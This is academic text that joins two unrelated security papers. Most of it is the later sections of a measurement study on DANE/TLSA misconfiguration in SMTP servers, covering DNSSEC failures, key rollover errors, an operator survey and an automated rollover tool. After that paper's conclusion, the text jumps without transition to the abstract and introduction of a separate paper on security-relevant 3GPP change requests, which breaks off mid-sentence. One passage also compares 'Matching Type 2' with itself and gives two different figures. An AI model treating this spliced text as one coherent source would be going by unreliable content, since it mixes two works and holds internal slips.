sify the domains into three cases (i.e., SO, SSDO, and SSDS)

4ns[1-3].webhostingserver.nl, which are Antagonist’s DNS au-
thoritative servers.
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Category
SMTP servers Domains

Number Invalid Number Invalid
TLSA (%) TLSA (%)

SO 9,766 11.51% 1,202,579 0.23%
SSDO 1,786 39.42% 1,792 40.18%
SSDS 2,840 32.29% 2,806 33.14%

Table 2: The numbers of DANE SMTP servers and their do-
mains and the percentages of invalid TLSA records of DANE
SMTP servers and their domains are shown in each category
as of February 12, 2021. Note that the abbreviated categories
are described in Figure 1.
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Figure 3: The percentage of incorrect TLSA records (top) and
their served domains (bottom) for each category is shown.

based on the criteria of DANE managing entity we discussed
in section 2, which is summarized in Table 2.

5.2 Managing entities and DANE quality
5.2.1 Overall DANE Management

We now examine how DANE management has changed over
time depending on who manages the SMTP and name servers.
Figure 3 shows the percentage of DANE SMTP servers that
fail to deploy DANE successfully (top) and the percentage
of domains associated with them for each case. Note that the
incorrect DANE deployment rate of the self-managed SMTP
servers (SSDS and SSDO) is much higher than outsourced
SMTP servers (SO). As to the self-managed cases (SSDS and
SSDO), we find its percentage of the domains with invalid
TLSA records is comparable to that of the (self-managed)
SMTP servers with invalid TLSA records since the latter usu-
ally serve a very small number of domains. We also see the
slightly higher incorrect deployment rate of SSDO when the
name server is also outsourced compared to SSDS, which will
be detailed in the next section. On the other hand, we see
only 16 (2.66%) of TLSA records in the SO case are invalid
until September, 17th, 2020. However, we see a spike from
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Figure 4: The percentages of TLSA validation failures due to
wrong DNSSEC configuration and wrong TLSA records are
shown for the self-managed SMTP categories.

September 18th, 2020 ∼ February 12th, 2021 in SO due to
the following reasons. Two email hosting providers, Syix
and Antagonist assign a unique MX record to each of their
customers, which generates an equal number of TLSA records
to the number of MX records. In fact, the 63 TLSA records
managed by Syix mistakenly share the same Certificate
Association Data values, and 1,655 TLSA records managed
by Antagonist do the same. Also, we find that only 12 (2%)
TLSA records in the SO case are misconfigured on average; we
find that only 1,765 domains rely on such invalid TLSA records
on average, implying that large email hosting providers are
normally well-managed.

These results highlight that self-managing SMTP servers
is more error-prone. Now, we switch our focus on where
such mismanagement happens. To this end, we examine
the TLSA records, certificates, and DNSSEC records for the
misconfigured TLSA records.

5.2.2 Why TLSA Validation Fails

Next, we examine why TLSA validation fails in each case. As
discussed in section 2, TLSA record validation fails due to
mainly two reasons: (1) unsuccessful DNSSEC deployment
and management and (2) mismatches between TLSA records
and their certificates. Figure 4 plots the distributions for the
SSDO and SSDS cases. Since there are only 12 invalid and
unique TLSA records for the SO case, we omit the plot.

DNSSEC We notice that DNSSEC is the dominant reason
of DANE management failures across all managing entities;
we find that 89% and 95.7% of TLSA records in SSDO and
SSDS respectively are invalid due to DNSSEC issues in our
latest snapshot. In case of SO, we find that 12 unique TLSA
records have DNSSEC problems, which shows that even pop-
ular email hosting providers have difficulties in deploying
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DNSSEC correctly. This leads us to dig deeper into why their
DNSSEC configurations are unsuccessful; we first check if
they are equipped with all three DNS record types to support
DNSSEC correctly (i.e., DNSKEY, RRSIG, and DS records). We
observe that the majority of TLSA records that have DNSSEC
problems do not have DS records, making them insecure.
In case of SO, for example, 10 out of 12 TLSA records with
DNSSEC problems are missing DS records. We find simi-
lar patterns in the other two categories as well; 624 (99.5%)
and 866 (98.6%) invalid TLSA records are due to missing
DS records in SSDO and SSDS. In contrast, we find that TLSA
records with bogus state are very few; only 2, 3, and 12 TLSA
records cannot be validated due to either cryptographic errors
(e.g., signature from unknown keys) or expired RRSIGs in SO,
SSDO, and SSDS respectively. Considering that the majority
of TLSA records with DNSSEC problems are insecure, we
believe that this problem can be mitigated if registrars move
towards a standard of DNSSEC-by-default on their name
servers by creating a chain of trust automatically. However,
Chung et al. [13] pointed out that this is very rare: only one
registrar (NameCheap [47]) among the top popular 20 had
this policy in 2017.

Mismatches between TLSA records and certificates Inter-
estingly, we find that, on average, 16%, 23% of TLSA records
fail in DANE validation due to mismatches when the DANE
managing entity is SSDS, and SSDO respectively; we also find
only 6 in the SO case. This raises a serious concern since these
errors may cause DANE-validating clients to abort SMTP con-
nections regardless of their DNSSEC validation status. Also,
such errors do not tend to be fixed over time; they seem to be
persistent and go unnoticed by the administrators.

One possible explanation is that the parameters of a
TLSA record are incorrectly set by mistakenly specifying
Selector, Matching Type, or Certificate Usage even if
its Certificate Association Data is generated from the
correct certificate. We test this hypothesis by changing each of
the parameters in three fields to see if any combination makes
the DANE validation successful. Unfortunately, however, we
only found that 1 (SO), 2 (SSDO), 3 (SSDS) TLSA records meet
the hypothesis across the cases leaving the question still unan-
swered.5

Interestingly, we also notice that TLSA records with
Selector 0 show a higher mismatch ratio than the ones with
Selector 1. In case of the SSDS category, for example, we
find that 11% of TLSA records use Selector 0, but 34% of
them are mismatched in our latest snapshot. In contrast, we

5Astute readers may attribute them to the administrator who calculates
a hash value of a given certificate but makes a mistake while inserting it
into Certificate Association Data by missing a few characters (i.e.,
copy & paste error). To verify this hypothesis, we also compared the edit
distance of two strings (i.e., the actual Certificate Association Data
on the certificate and the correct hash value calculated from the matched
certificate) using the Levenshtein algorithm [38], but we could not find any
single case.
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Figure 5: We plot the percentage of mismatched TLSA records
at the time of the scan, that match with outdated certificates.

learn that only 2% of TLSA records with Selector 1 are mis-
matched. This may suggest that the mismatch could be due
to key rollovers; TLSA records with Selector 0 need to be
updated even when the reissued certificate still uses the same
public key. For Certificate Usage, we find that more than
99% of TLSA records use DANE usages (i.e., DANE-TA and
DANE-EE) across all managing categories as expected. In case
of Matching Type, we find more than 96% of TLSA records
use Matching Type 1 and less than 2% of TLSA records use
Matching Type 2 across all managing categories; we find
that TLSA records with Matching Type 2 show generally
higher mismatch ratios than Matching Type 1; for example,
in the SSDS category, we observe that the mismatch ratio of
TLSA records with Matching Type 2 is 12.5% while showing
5.5% in Matching Type 2. However, we cannot identify the
rationale behind this.

5.2.3 Why Mismatches Happen

The above analysis showed that the mismatches might have
nothing to do with a TLSA record and its certificate captured in
the same snapshot; we now ask whether currently mismatched
TLSA records can be correctly matched with any of the old
(and outdated) certificates that the SMTP server has ever used.
This may happen when the administrators simply forget to
update TLSA records after their certificates are changed.

To test our hypothesis, we first consider the TLSA records of
which mismatch reasons are unknown. Then, for each snap-
shot, we check if we can find any outdated certificate that
has expired at the snapshot but matches with the TLSA record,
which is shown in Figure 5. Surprisingly, we observe an in-
creasing trend.

This increasing trend is somewhat expected as we can com-
pare more outdated certificates with the currently mismatched
TLSA records over time. However, we find that the percent-
ages reach up to 70% and 73% in SSDS and SSDO respec-
tively, which indicates that the majority of mismatches be-
tween TLSA records and certificates are due to TLSA records
that have not been updated timely.

These results indicate that many SMTP servers have
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updated their certificates as well as the public keys (i.e.,
rollovers), but failed to update the corresponding TLSA
records. This is interesting because (1) they could have de-
cided not to roll over since most of TLSA usages we measured
are DANE-EE (90.6%), which allows us to use the same cer-
tificate because DANE-EE usage ignores the expiration date
in a certificate in the validation process [18] and (2) it im-
plies that conducting a rollover correctly is challenging. In
the following section, we aim to answer both questions.

6 DANE Key Rollover

Like the PKI, DANE provides a method for entities to update
their public and private key pairs. This process is called a key
rollover, which is standardized in DANE RFCs [18]. How-
ever, the above analysis implies that performing key rollovers
correctly is not easy. We now ask whether DANE-enabled
SMTP servers perform key rollovers correctly to understand
the possible challenges.

6.1 Determining SMTP servers that roll over
First, we examine how many SMTP servers have conducted
rollovers during our measurement period. We find that, among
the 13,902 SMTP servers we observe, 10,334 (74.3%) have
changed their certificates; however, changing a certificate does
not necessarily mean that they have updated their public and
private keys. Thus, we check if they moved on to a new public
key in the certificate, which leaves us 8,837 (63.6%) SMTP
servers.

Changing a public key also does not necessarily indicate
a rollover if the certificate associated with the public key is
not what Certificate Usage in the corresponding TLSA
record refers to; this usually happens when the Certificate
Usage of the TLSA record is DANE-TA, but the leaf certificate
is reissued from the same trust anchor. We find 2,560 (29%)
of 8,837 SMTP servers are such cases. Finally, to analyze the
rollover behaviors more precisely, we only consider the SMTP
servers, of which (1) TTLs of their TLSA records are shorter
than our scan resolution (i.e., one hour) and (2) certificates
have ever been considered valid6, which leaves us 2,569 (29%)
SMTP servers to analyze.

6.2 How to Roll Over Correctly
DANE rollovers require synchronous management between
SMTP and name servers. This is because when changing the
public key (and its certificate), the old TLSA record may still
be cached on and served from local resolvers . Recall that all
DNS responses (including TLSA records) have a TTL field,
which indicates that how long the DNS record can be cached;

6We do so because we cannot determine whether the rollover is done
correctly if they have never been valid.

Figure 6: Rollover procedure in DANE and how validation
fails is shown. For a correct rollover (C), first, the old TLSA
record in the DNS server should be removed after the new key
is introduced in the SMTP server at TR, and second, the new
TLSA record has to be introduced at least two TTLs before the
key changes at TR. On the other hand, the incorrect rollovers
may happen when (1) the old TLSA record is removed too
early, (2) the new TLSA record is introduced too late, or (3)
they are never introduced.

if an SMTP server publishes a new TLSA record immediately
after updating the certificate, it is possible that some SMTP
clients may fetch the cached TLSA records (i.e., old TLSA
records) in their DNS resolvers and cannot finish DANE vali-
dation successfully. Thus, SMTP servers must publish the new
TLSA records in advance, at least two TTLs before moving
on to the new certificate [18]. Figure 6 illustrates the correct
rollover procedure as well as incorrect rollover cases.

6.3 Incorrect Rollovers

6.3.1 Early retired, late introduced, and absent TLSA
records

We now examine how SMTP servers have performed
rollovers; if we find any incorrect rollover, we classify it into
one of the cases in Figure 6. Table 3 shows the results depend-
ing on the management case. First, we notice that more than
87% of SMTP servers in each case perform rollovers incor-
rectly at least once during our measurement period. This is
discouraging because even large email hosting providers are
not an exception. For example, argewebhosting.nl hosting
30,681 domains update its TLSA records one hour late after
updating the certificate whenever they rollover, which results
in DANE validation failures until the new TLSA record is
introduced.

Second, across the three management cases, we observe
that the major reason of incorrect rollovers is the late intro-
duction of new TLSA records, while the early retirement of the
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Category
Domains SMTP servers Incorrect Rollover Case

Total Wrong Total Wrong Early Retirement Late Introduction No Introduction
Rollover Rollover old TLSA new TLSA new TLSA

SO 54,052 34,056 (63.0%) 277 255 (92.1%) 1 (0.4%) 216 (84.7%) 58 (22.8%)
SSDO 278 242 (87.1%) 275 240 (87.3%) 9 (3.9%) 173 (72.1%) 87 (36.1%)
SSDS 585 546 (93.3%) 594 544 (91.6%) 55 (10.1%) 450 (82.7%) 179 (32.9%)

Table 3: The percentages of SMTP servers that have ever roll-overed incorrectly with the reasons for each category and the
impacted numbers of domains are shown. For the incorrect rollovers, the percentages of individual cases are also shown. Note
that an SMTP server may have incorrectly roll-overed multiple times with different reasons during our measurement period,
which makes the sum of the percentages of the reasons over 100%.

old TLSA records rarely happens. This possibly indicates that
withdrawing the old TLSA record and the old certificate and
introducing the new TLSA record and the certificate may hap-
pen simultaneously, but we cannot know if this is true since
our scanning resolution (1 hour) cannot detect such changes.

Third, we found the prevalent cases of missing new TLSA
records. The other two errors (i.e., early retirement of the old
TLSA records or late introduction of the new TLSA records)
cause DANE invalidations over a short period since when
the new certificate or TLSA record is introduced later, the new
TLSA record will be validated from that moment. If the new
TLSA record is never introduced even after the rollover, it may
cause permanent DANE validation failures. Moreover, we
also find that some SMTP servers that introduce new TLSA
records late during a rollover, never introduce a new TLSA
record during another rollover, which makes the sum of the
percentages of incorrect rollover cases over 100%.

One may suspect that the high failure rate could be that
the new TLSA records might be introduced after our measure-
ment period ends. However, we find that a substantial portion
of SMTP servers never change their TLSA records during
their multiple rollovers; 38 (65.6%), 68 (78.2%), and 106
(59.2%) SMTP servers do so in the SO, SSDO, and SSDS cases,
respectively.

6.3.2 DANE-EE with PKIX certificates

One of the advantages of DANE is that a STARTTLS cer-
tificate need not be issued by certificate authorities (CAs)
by using DANE-TA or DANE-EE usages, which allows using
self-signed leaf or TA certificates. In accordance with the
motivation of DANE and its best practice [18], we find that
8,201 (90.6%), 419 (4.6%), and 397 (4.4%) of DANE SMTP
servers serve TLSA records with a DANE-EE, DANE-TA, and
both of two usages, respectively.

However, this raises a question of why many SMTP servers
do rollovers multiple times even though the majority usage is
DANE-EE, which theoretically does not need to update the cer-
tificate. To answer this question, we first check how many of
the certificates whose TLSA record has DANE-EE usage are is-
sued by popular CAs by validating them with the well-known
CA certificates. Interestingly, we find that 7,976 (94.4%) of
these certificates are issued by popular CAs; more specifically,
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Figure 7: The percentage of the SMTP servers with Let’s
Encrypt (LE) certificates that perform incorrect rollovers due
to each of the three errors (top) and the number of the SMTP
servers that use Let’s Encrypt (LE) certificates (bottom)
until date x are shown.

two CAs, Let’s Encrypt and Sectigo, issue 86.7% of the
total leaf certificates in our latest snapshot.

At first glance, using a certificate issued by popular CAs
does not cause any problems from an operational perspec-
tive since this certificate can be verified as long as its corre-
sponding TLSA records are generated from the certificate. In
practice, however, it could bring unexpected outcomes espe-
cially when the certificate is issued by automated CAs such as
Let’s Encrypt and Sectigo; these CAs often have much
shorter certificate lifetimes, and certificates are automatically
reissued on a regular basis (e.g., every three months). Fur-
thermore, many of these automated tools such as certbot
reissue a certificate with a new private and public key by de-
fault [15], which means that the DANE administrator has to
update the TLSA record accordingly. Thus, there must be
automated tools for updating TLSA records as well to set up
a schedule to withdraw the old TLSA record and introduce
the new TLSA record at the right timing; however, to the best
of our knowledge, we cannot find such tools at the time of
writing.
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To measure these unexpected consequences, we focus on
the certificates issued by Let’s Encrypt because (1) it cov-
ers 77.6% of the collected leaf certificates whose TLSA record
usage is DANE-EE and (2) Let’s Encrypt exclusively issues
certificates with automation tools at least every three months.
After that, we see what type of incorrect rollovers an SMTP
server has made until a given end date from the start date
of our measurements. Figure 7 shows the distribution as we
move the end date forward. First, we find that the percentage
of SMTP servers that retires the old TLSA record early and
introduces the new TLSA record late is almost steady.

Second, we observe a rapid growth of rollover failures due
to missing new TLSA records; this is concerning because more
SMTP servers seem to keep the initial TLSA record unchanged
and do not update it even after certificate reissuance. Also,
we find that 31.0% of SMTP servers that have introduced
the new TLSA record late also sometimes do not update the
TLSA record at all during another rollover7, which suggests
the behavior of updating the TLSA record when the certificate
is reissued seems to be unpredictable; we believe this is due to
the lack of automation support for synchronization between
TLSA records and certificate reissuance.

Moreover, obtaining the public key and private key of the
next certificate before getting it reissued from these automated
CAs is not possible; instead, an administrator should get the
next certificate in advance before the rollover to make and
publish the new TLSA record8.

Also, to the best of our knowledge, there is no DNS au-
thoritative software support that coordinates with certificate
issuance to automatically withdraw the old TLSA records and
introduce new TLSA records, which makes the rollover error-
prone.

6.3.3 CA Rollover

One possible option to prevent the late introduction of the
new TLSA record is to use the DANE-TA usage, which allows
any leaf certificate as long as it is issued by the certificate
matching the Certificate Association Data; thus, the
SMTP server can introduce the leaf certificate and the new
TLSA record at the same time. We find that 571 (8.7%) of
SMTP servers use TLSA records with DANE-TA usage.

Next, we see if the DANE-TA usage actually helps mitigate
incorrect rollovers; Figure 8 (top) shows the percentage of
SMTP servers with Let’s Encrypt (LE) certificates that
perform rollovers incorrectly. We make a number of observa-
tions. First, we can confirm that the DANE-TA usage effectively
decreases the number of incorrect rollovers; for example, com-
paring the SMTP servers with the DANE-EE usage that per-

7This makes the sum of the percentages of late and missing introduction
of new TLSA records over 100%.

8Alternatively, an administrator can generate a public and private key
pair herself to make a certificate signing request (CSR) and modify a certbot
command to ask Let’s Encrypt to issue a certificate with the generated
public key [14]
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Figure 8: The percentage of SMTP servers that use Let’s
Encrypt (LE) certificates and have rolled over incorrectly
increases (top) as Let’s Encrypt starts to sign their certifi-
cates with the new R3 intermediate in October 2020.

form rollovers (Figure 7), we can confirm that the ratio of
invalid TLSA records caused by late introduction of new TLSA
records dropped to 7.2% from 76% based on the snapshots
on October 1st, 2020.

However, we notice that this percentage suddenly increases
from early October 2020. This is because Let’s Encrypt
(LE) announced a new intermediate certificate (called R3) on
October 7th, 2020 [39] and decided to withdraw the former
signing certificate, X3 [40]. We can confirm this transition
by monitoring that the percentage of DANE SMTP servers
with certificates signed by X3 drops but that of the ones with
certificates signed by R3 grows around the late October, 2020
in Figure 8 (bottom).

Note that the SMTP servers relying on the DANE-TA usage
must update their TLSA records and follow the same best
practice as described in Figure 6. However, similar to what we
observed in Figure 7, we find that most of them do not update
their TLSA records with the DANE-TA usage properly, thus
making both the percentage of late introduction of new TLSA
records with DANE-TA and that of missing new TLSA records
with DANE-TA rapidly increase right after the introduction
of R3.

This suggests that the DANE-TA usage is not always resilient
against certificate reissuance if the DANE administrator does
not have control over the signing certificate. This raises an-
other important question: “why do DANE administrators use
PKIX certificates even when their TLSA record is configured
with the DANE-EE or DANE-TA usage, which seems to be con-
tradictory to the motivation of DANE?” The answer to this
question will become clear later when we discuss the survey
of DANE operators.
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7 DANE Management in Practice

Our datasets give us an opportunity to understand how DANE
is managed quantitatively. However, we use only publicly
accessible information mainly from DNS or SMTP scans,
making it hard for us to understand why operators use it, what
they do to manage it, and what challenges they have. To bridge
the gap between the view of how we see the DANE SMTP
servers and how organizations serving mail services view it,
we conducted a survey in early 2021.

7.1 Survey Methodology
We have collaborated with (1) .nl and .se registries where
DANE is widely deployed in their second-level domains
with MX records (e.g., their percentages of domains with MX
records that have TLSA records were 9.8% and 38.2% in
2019 [36]) to share our survey with their registrars and (2)
three network operator groups: NANOG [45], DENOG [23],
and NLNOG [46].

In total, we received answers from 39 email operators and
classified them into three categories depending on the pur-
poses of SMTP servers: individual, institution, and hosting
provider (HP). Figure 9 shows a summary; we believe that
the composition of participants is broad enough to cover a
wide spectrum of operators in the DANE community. Also,
we have 10 participants from hosting providers who manage
more than 1,000 domains; as DANE is usually managed well
by the hosting providers that serve a large number of domains,
we expect to learn lessons for better DANE management.

Ethical considerations Our survey focuses on organiza-
tions (and their policies), not individual people. Furthermore,
we do not collect any personal information and our analyses
are also not based on human subjects. Thus, our survey did
not require IRB approval, which was confirmed through of-
fline conversations with our institution’s Institutional Review
Board (IRB).9

9We made our questionnaire publicly available at https://dane-
study.github.io.

7.2 Deployment and Management

Reasons of (not) supporting DANE: We first try to un-
derstand the motivation behind DANE support from the 24
(61.5%) participants who deployed DANE for SMTP. We note
that they also deployed other SMTP security extensions; SPF
(24), DKIM (23), DMARC (21), and MTA-STS (9), which
indicates that they are aware of security challenges in SMTP.
Interestingly, we find that 9 administrators (4 Individuals, 1
Institution, and 4 HPs) also use MTA-STS [41]; this is par-
ticularly interesting because MTA-STS aims to authenticate
receivers without mandating DNSSEC. We also confirm this
by asking them why they deployed DANE; (1) 14 out of 24
participants indicated their main purpose was to protect their
customers (domains) from STARTTLS stripping attacks, and
(2) 7 (out of 24) participants indicated that they do not trust
CAs, which implies that they want to control their own certifi-
cates. These results are in line with our findings that most of
the TLSA usages (90.7%) of certificates are DANE-EE. As one
participant replies that he does not know whether DANE is
supported or not, there are 14 (39.5%) participants who do not
support DANE for their domains. Among the 14 participants
supporting no DANE, 11 participants provided the reason; 5
(out of 11) answered they do not support DANE due to its
operational complexity. For further analyses, we focus on the
24 participants who support DANE for their SMTP servers.

DNSSEC: We find that all of the 24 participants indi-
cated that they also support DNSSEC. When we ask whether
they have faced any problems with managing DNSSEC, 12
of them indicated that they have never experienced any is-
sues, among which 7 participants provided their MX records.
However, we investigate their data in our datasets and find
that one of them had wrong RRSIGs for 14 hours making the
validation status of his TLSA record bogus. The other 12 par-
ticipants suffered from DNSSEC issues related with RRSIG
records such as expired signatures. This is in line with our
findings that DNSSEC is the major hurdle for correct DANE
deployment.

STARTTLS certificates: We have observed that the SMTP
servers of 16 participants (out of 24 DANE-supporting ones)
have TLSA records with DANE-EE usage, but all of them use
CA-issued certificates. We can confirm the reason for this
behavior; we find that 22 (out of 24) participants use CA cer-
tificates, among which 12 indicated that they do so mainly
for compatibility with other SMTP servers that do not sup-
port DANE yet. Since the DANE deployment rate is still
low, it looks like a safer choice for SMTP servers to use
generally-trusted certificates rather than serving self-signed
certificates.10 However, we believe this leads to a chicken-and-

10One administrator said “Not every mail server supports DANE valida-
tion, hence a non-self-signed certificate is more trustworthy for those. On
the other hand if I’d had only remote servers supporting DANE, I would not
care.”
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egg problem; (1) even popular email servers do serve CA-
issued certificates with DANE-EE TLSA records since SMTP
clients rarely support DANE and (2) since the certificates still
look valid without DANE validation, the SMTP clients do not
bother to support DANE or check the certificates with TLSA
records, which does not seem to improve the current situation.

DANE management: We find that 19 (out of DANE-
supporting 24) participants indicated that they have never
experienced any DANE misconfigurations. However, we find
some inconsistency between their responses and what we ob-
serve from our datasets; (1) we find the MX records of 10 (out
of 19) participants in our dataset and we analyze that 3 had ex-
perienced misconfigurations: insecure and bogus DNSSEC
records, and a TLSA record mismatch. (2) Also, we find that
11 (out of 24) participants indicated that they have performed
rollovers. However, we find that 4 of them indicated that
they update TLSA records and their certificates simultaneously,
which causes transient DANE validation failures preventing
them from receiving emails from DANE-validating clients.
We believe the discrepancy between how they perceive their
management and actual errors discovered from our dataset can
be attributed to the challenges for detecting DANE validation
failures. First, the SMTP server has to keep monitoring their
DNSSEC records, certificates, and TLSA records consistently.
Also, when the SMTP servers roll over their TLSA records
without considering the TTLs, the clients may use the stale
TLSA records cached in their local resolvers. Note that this
issue resolves itself as the TTL expires, making it hard for
administrators of the SMTP servers to detect such intermittent
errors. For the 6 (out of 11) participants who indicated that
they upload TLSA records before publishing the certificates,
we find that four of them indicated using self-developed auto-
mated scripts to introduce the new certificates and their TLSA
records at the right time. This implies that (1) automation is
indeed needed for successful rollovers in DANE but (2) there
is a lack of software support for the automatic rollover as all
of them made scripts by themselves.

8 Discussion

We have observed pervasive DANE mismanagement mainly
due to the complex procedure for key management such as
when updating the key. We now ask if SMTP servers who
deploy DANE for the first time, who do not have to consider
issues we discovered such as old TLSA records or TTL, also
experience DANE misconfiguration. Thus, in this section, we
examine how well such SMTP servers can deploy DANE
initially without any problems and also discuss and develop
automated tools to help DANE operators manage DANE cor-
rectly.

SMTP DNSSEC TLSA Mismatch
Servers Insecure Bogus Wrong Fields Unknown
3,051 2,972 (97.4%) 15 (0.5%) 12 (0.4%) 314 (10.3%)

Table 4: The percentage of each case of incorrect initial de-
ployments is shown.

8.1 Initial DANE Deployment

To find those who deploy DANE for the first time, we set the
reference period to be the first three-month snapshot from
July 13th, 2019 to October 12th, 2019. If an SMTP server has
an MX record without a TLSA record for these three months, and
then it has a new MX record with a TLSA record in the following
period, it is assumed to deploy DANE for the first time. From
this process, we identify 6,957 (50%) SMTP servers who
deploy DANE for the first time out of 13,902 SMTP servers
we monitored during our measurement period.11

For this analysis, we consider only their first snapshots to
see if they correctly deploy DANE and, if not, we see what
the first problem is that they face. Table 4 shows a summary.
First of all, we find that 3,051 (49.2%) SMTP servers fail
in deploying DANE successfully in their first deployments.
Next, we see each of the reasons why they fail; we notice that
the vast majority of them (97.4%) are not DNSSEC-signed,
which is in line with our previous findings. We also find 12
SMTP servers configured their TLSA records with wrong pa-
rameters. Interestingly, we still find that a total of 314 (10.3%)
TLSA records are invalid due to mismatches, among which 7
records have their Certificate Association Data values
of the SHA256 hash of an empty string, and 8 records use
DANE-TA usage with a hash of the TA’s public key but SMTP
servers serve a different public key. These results further un-
derscore the challenges of deploying DANE correctly, which
can weaken security in the DANE PKI.

8.2 Automated Tools

We have observed that most DANE mismanagement comes
from a lack of support for an automation process. We believe
this problem to be analogous to what the Web’s PKI ecosys-
tem faced about a decade ago due to lots of manual processes
involved to deploy TLS in web servers. Fortunately, the sit-
uation has improved greatly as lots of tools for automated
certificate issuance such as certbot have been introduced
and widely adopted [3, 7, 55]. For individuals or small insti-
tutions that do not have enough resources to manage TLSA
records and certificates by themselves, we aim to provide an
automation tool on top of popular open source-based MTA

11We cannot capture the domains that had retracted DANE support before
the start date of our measurement, but deployed DANE again after then.
However, these SMTP servers did not use DANE at least for 3 months,
we believe it is still worthwhile investigating whether they deploy DANE
correctly or not.
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software, Mail-In-a-Box [1]12, which supports DANE by
installing a name server together to post TLSA records from
a certificate issued from Let’s Encrypt. However, it never
updates the TLSA record nor the certificate, which we believe
is due to the complexity of rollovers. In this section, we im-
plement an automatic rollover and discuss further challenges.

Implementing a rollover: We implement one of the best
practices for rollovers, the Double TLSA scheme [30], which
always manages two TLSA records, one for the current public
key (i.e., active key), and the other for the next public key
(i.e., standby key).13 Here is an overview of how it works:
(1) we first generate two public/private key pairs (for the ac-
tive key and standby key) using openssl and generate two
TLSA records with these two keys, (2) we send a certificate
signing request (CSR) with the active key to get a cert from
Let’s Encrypt, (3) the SMTP server now serves the certifi-
cate and the name server serves two TLSA records, (4) every
two months, we generate (i) a CSR with the standby key to
get a certificate and (ii) another key pair for the new standby
TLSA record, (5) we replace (i) the old certificate with the new
one and (ii) the old TLSA record of the old certificate with the
TLSA record of the new standby key.

Challenges in automation: At first glance, it looks straight-
forward for domain owners to manage DANE rollovers using
automation. However, we still find challenges when either the
name server is self-managed or outsourced. When a domain
owner manages its nameserver, she has to enable DNSSEC
by herself; fortunately, generating DNSSEC records such as
DNSKEYs and RRSIGs for a domain is a simple process because
lots of popular DNS software supports it by simply enabling
an option [24]. However, constructing a chain of trust still
requires a manual process; the domain owner must ask her
registrar to upload the DS record to their registry [13].14

When a domain owner outsources a nameserver to an ex-
ternal DNS operator such as Cloudflare, it has to provide two
functionalities: (1) it must support APIs for the domain owner
to update her DNS entries via automated scripts, and (2) it
must support TLSA records in their name server. We examine
25 popular DNS operators in terms of the number of domains
that they serve [13]; however, we find that only 5 DNS opera-
tors (Cloudflare, GoDaddy, 1&1, Network Solutions, OVH)
do support both API and TLSA records; 3 DNS operators
(Google Domains, eNOM, HostGator) supports TLSA records
but do not support it via API; the others do not support neither
of them.

12The software uses a specific convention for MX records by creating a
subdomain, box (e.g., box.example.com); we find that 35% of MX records
with this subdomain in our latest snapshot.

13Our pull request to the main repository has been made and waiting for
the merge into master.

14CDS and CDNSKEY were introduced for uploading a DS record automati-
cally [33, 58], but they have been hardly adopted by registries.

9 Conclusion

In this paper, our goal was to investigate why DANE misman-
agement is so prevalent. We first used a longitudinal dataset
spanning 20 months to validate TLSA records of SMTP servers
and found that more than 18% of SMTP servers used by do-
mains of .com, .org, and .net are mismanaged. Most of
such mismanagements happen when domain owners self-
manage their SMTP servers mainly due to (1) unsuccessful
deployment of DNSSEC (92%) and (2) key changes due to
automatic certificate reissuances (70%). We also discovered
insecure practices while performing key rollovers; 90% of
SMTP servers performed rollovers incorrectly by mishan-
dling TTLs of TLSA records, or did not update TLSA records
timely due to changes of leaf and CA certificates. We con-
firmed our findings through DANE surveys . Finally, we mod-
ified the popular MTA software, Mail-In-a-Box, to support
automatic key rollovers by implementing the Double TLSA
scheme, but also found several systematic barriers against
automation. Taken together, our results shed light on the dif-
ficulties that domain owners face when trying to deploy and
manage DANE.
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Abstract
With the recent report of erroneous content in 3GPP speci-

fications leading to real-world vulnerabilities, attention has
been drawn to not only the specifications but also the way
they are maintained and adopted by manufacturers and car-
riers. In this paper, we report the first study on this 3GPP
ecosystem, for the purpose of understanding its security haz-
ards. Our research leverages 414,488 Change Requests (CRs)
that document the problems discovered from specifications
and proposed changes, which provides valuable information
about the security assurance of the 3GPP ecosystem.

Analyzing these CRs is impeded by the challenge in find-
ing security-relevant CRs (SR-CRs), whose security connec-
tions cannot be easily established by even human experts. To
identify them, we developed a novel NLP/ML pipeline that
utilizes a small set of positively labeled CRs to recover 1,270
high-confidence SR-CRs. Our measurement on them reveals
serious consequences of specification errors and their causes,
including design errors and presentation issues, particularly
the pervasiveness of inconsistent descriptions (misalignment)
in security-relevant content. Also important is the discovery
of a security weakness inherent to the 3GPP ecosystem, which
publishes an SR-CR long before the specification has been
fixed and related systems have been patched. This opens an
“attack window”, which can be as long as 11 years! Interest-
ingly, we found that some recently reported vulnerabilities
are actually related to the CRs published years ago. Further,
we identified a set of vulnerabilities affecting major carriers
and mobile phones that have not been addressed even today.
With the trend of SR-CRs not showing any sign of abating,
we propose measures to improve the security assurance of the
ecosystem, including responsible handling of SR-CRs.

1 Introduction
The rapid advancement of telecommunication technologies
and perspectives of their applications to security-critical do-

∗Corresponding Authors
†Key Laboratory of Network Assessment Technology, CAS.
‡Beijing Key Laboratory of Network Security and Protection Technology

mains like autonomous driving, emergency services, energy
infrastructure, have brought to spotlight their security assur-
ance. At the center is the ecosystem that supports develop-
ment, maintenance and adoption of telecommunication stan-
dards, as organized by the 3rd Generation Partnership Project
(3GPP) [1], a consortium involving all major telecommuni-
cation standards organizations around the world. In the past
two decades, 3GPP has been responsible for standardizing
2G/3G/4G/5G protocols. Recent years, however, have wit-
nessed concerns being raised about the security quality of its
specifications: studies show that security flaws can be found
from the design described in protocol documents [31, 32] or
predicted from their statements [16]. These reported hazards
can well be just a tip of the iceberg, given 3GPP’s compli-
cated, error-prone procedure for specification development
(involving hundreds of parties across 46 countries), and its
indiscreet release of vulnerability information. An in-depth
analysis of the 3GPP ecosystem therefore becomes critical to
understanding the security guarantees of today’s telecommu-
nication technologies, but has never been done before.
Challenges in the ecosystem analysis. In the way of such
a security analysis is the complexity of 3GPP specifications,
which are characterized by convoluted descriptions in thou-
sands of documents, on millions of pages. Understanding the
content of these documents is painstaking, not to mention
analysis of their security quality and measurement of secu-
rity weaknesses they may carry. In our research, however,
we found a unique resource that can be leveraged: a large
number of Change Requests (CRs) that specify the details of
the changes proposed by 3GPP members. Among them, these
Security-Relevant CRs (SR-CRs) report the descriptions that
could lead to security risks, which essentially are samples of
the security weaknesses from specifications. So the nature
of these problems and the ways they are handled can help us
assess the security assurance offered by the 3GPP ecosystem.

However, finding SR-CRs is highly nontrivial. Already
there are over 400K CRs, which continue to accumulate at
a fast pace. Only a very small portion of them are security-
related. These CRs are not explicitly labeled, determining
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their security connections requires in-depth domain knowl-
edge. As an example, S3-171355 reports the absence of details
about computation of HASHMME and HASHUE . However,
without knowing the purpose these hash values serve, one
would have no idea about the CR’s relation to the defense
against a bidding down attack.

The challenge in understanding CRs and their large volume
make any manual effort hard to succeed. Even an attempt
